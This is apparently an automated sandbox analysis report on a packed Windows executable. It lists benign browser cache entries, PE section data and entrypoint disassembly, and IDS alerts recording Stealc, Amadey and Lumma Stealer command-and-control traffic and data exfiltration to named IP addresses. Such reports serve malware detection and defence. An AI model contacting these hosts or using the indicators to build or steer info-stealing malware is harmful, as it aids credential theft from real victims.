Preview:	.........p.K.....sv.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (805)
Category:	downloaded
Size (bytes):	810
Entropy (8bit):	5.166071461517035
Encrypted:	false
SSDEEP:	24:7yzJQCOGM0iBHslgT9lCuABuoB7HHHHHHHYqmffffffo:m7sKlgZ01BuSEqmffffffo
MD5:	BD0EB31279A0845E63781806413B8E89
SHA1:	1458BB28F6A5F487CDA398574A937C1C81942E92
SHA-256:	EEA697ADBB6423F1AB4B987062263BCD624C73813DA140FC11510F8595AF9EF9
SHA-512:	0B0C9585FA594D8A810A2D793E76BCC2452CF2EF99A5616E803B7CE95C7B9676357FF206D62DFA6CF03EEBBC750F3995798AB50465E0D0A688AFA495A79FB41E
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["austin regier free diving accident","nyt strands hints november 17","southwest airlines plane bullet","monopoly go friendship pays rewards","netherlands hungary football","red one movie box office","deals black friday","texas covenant marriage bill"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435136629018911
Encrypted:	false
SSDEEP:	3072:f3kPdsBJT7bKwkztS6STFSz1nrmVSnXYK02i6o:f4dUW5c5Sz1nKVSnoK08o
MD5:	1F336D934B98E11DEA509265EC986BAF
SHA1:	1D745BC0EA8B952179B50AD9B8A3C1B8204991EE
SHA-256:	94D2F2AB2CEBD109DA6F87460D9A3368C19173DD5ED241333D0C5519F69716F6
SHA-512:	4597A5CA4CF35D894BE609AA5A1A5A4EC5984F0800DDDFA752B88E676FCDFEBD6F1C9C449033164DEA644B23B6CD2DD670ABA797B4DA2557363AD975F9774500
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945681720562559
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'833'472 bytes
MD5:	bed918183c456251eb2def949e77e958
SHA1:	18cd870f1fe9729e2ca7040c94ae96cb5a06d54f
SHA256:	85765fad0f7110797e87c8765fdba37475435c1e1ac17096d58badc90c555acc
SHA512:	9f544f637cc7aef92fdbee0775bc3eec6c763bbcea1800711f93eb781bd775726a060b45fe5fb931eb885e04a0abdebb7d31f1c4b4325d42e0de9b989991b3ba
SSDEEP:	49152:zHWrb3KQlw+EIs7emg9hdrpPmrL83W8f7LkWGa:aqJIsc3u83W8HHGa
TLSH:	5985338E39830AD5DB9E8137BDE58E8863790D3879E3CA559748A7DBA9F0234F303055
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa9000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3F0D42FF3Ah
psubusb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	8b93af4ac0d1d597bc83b59e87919331	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	4244a797ccd2f7004317d1394adeded4	False	0.5859375	data	4.5328676094445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b6000	0x200	7a90ef2e1778514f20738e5b47214c62	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
etqepvsz	0x502000	0x1a6000	0x1a5c00	83fc205fa63fda03092161748453ef63	False	0.9949481559350919	data	7.954021638858796	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
trlogbdm	0x6a8000	0x1000	0x400	a96e809b43e05e909b7440b2c228d244	False	0.845703125	data	6.406913019850042	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a9000	0x3000	0x2200	d6cad723e9601a0b6e8828ffdab5dc21	False	0.0720358455882353	DOS executable (COM)	0.7755547534435656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a793c	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T08:55:21.044048+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49706	185.215.113.206	80	TCP
2024-11-18T08:55:21.327104+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49706	185.215.113.206	80	TCP
2024-11-18T08:55:21.434677+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49706	TCP
2024-11-18T08:55:21.709310+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49706	185.215.113.206	80	TCP
2024-11-18T08:55:21.899428+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49706	TCP
2024-11-18T08:55:22.989159+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49706	185.215.113.206	80	TCP
2024-11-18T08:55:23.503035+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49706	185.215.113.206	80	TCP
2024-11-18T08:55:44.425842+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:45.638232+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:46.209515+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:47.723629+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:48.784036+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:49.304104+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49844	185.215.113.206	80	TCP
2024-11-18T08:55:53.998809+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49999	185.215.113.16	80	TCP
2024-11-18T08:56:52.074823+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50123	185.215.113.43	80	TCP
2024-11-18T08:56:55.412143+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50125	31.41.244.11	80	TCP
2024-11-18T08:57:01.499104+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	50124	TCP
2024-11-18T08:57:02.403164+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50126	185.215.113.43	80	TCP
2024-11-18T08:57:03.982845+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50127	185.215.113.16	80	TCP
2024-11-18T08:57:13.543257+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50129	185.215.113.43	80	TCP
2024-11-18T08:57:13.723686+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50130	188.114.96.3	443	TCP
2024-11-18T08:57:14.473818+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50130	188.114.96.3	443	TCP
2024-11-18T08:57:14.473818+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50130	188.114.96.3	443	TCP
2024-11-18T08:57:14.477412+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50131	185.215.113.16	80	TCP
2024-11-18T08:57:15.698908+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50132	188.114.96.3	443	TCP
2024-11-18T08:57:16.242944+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50132	188.114.96.3	443	TCP
2024-11-18T08:57:16.242944+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50132	188.114.96.3	443	TCP
2024-11-18T08:57:18.847119+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50133	185.215.113.43	80	TCP
2024-11-18T08:57:19.982315+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50134	185.215.113.16	80	TCP
2024-11-18T08:57:20.867304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50135	188.114.96.3	443	TCP
2024-11-18T08:57:21.843086+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	50135	188.114.96.3	443	TCP
2024-11-18T08:57:22.116319+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50136	185.215.113.206	80	TCP
2024-11-18T08:57:23.449341+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50137	188.114.96.3	443	TCP
2024-11-18T08:57:23.942798+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50139	188.114.96.3	443	TCP
2024-11-18T08:57:24.116613+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50138	185.215.113.43	80	TCP
2024-11-18T08:57:24.524943+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	50139	188.114.96.3	443	TCP
2024-11-18T08:57:24.524943+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50139	188.114.96.3	443	TCP
2024-11-18T08:57:25.051172+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50140	185.215.113.16	80	TCP
2024-11-18T08:57:25.233726+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50141	188.114.96.3	443	TCP
2024-11-18T08:57:26.002795+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50142	188.114.96.3	443	TCP
2024-11-18T08:57:34.661119+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	53155	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 08:55:11.289813042 CET	49677	443	192.168.2.7	20.50.201.200
Nov 18, 2024 08:55:11.664314985 CET	49677	443	192.168.2.7	20.50.201.200
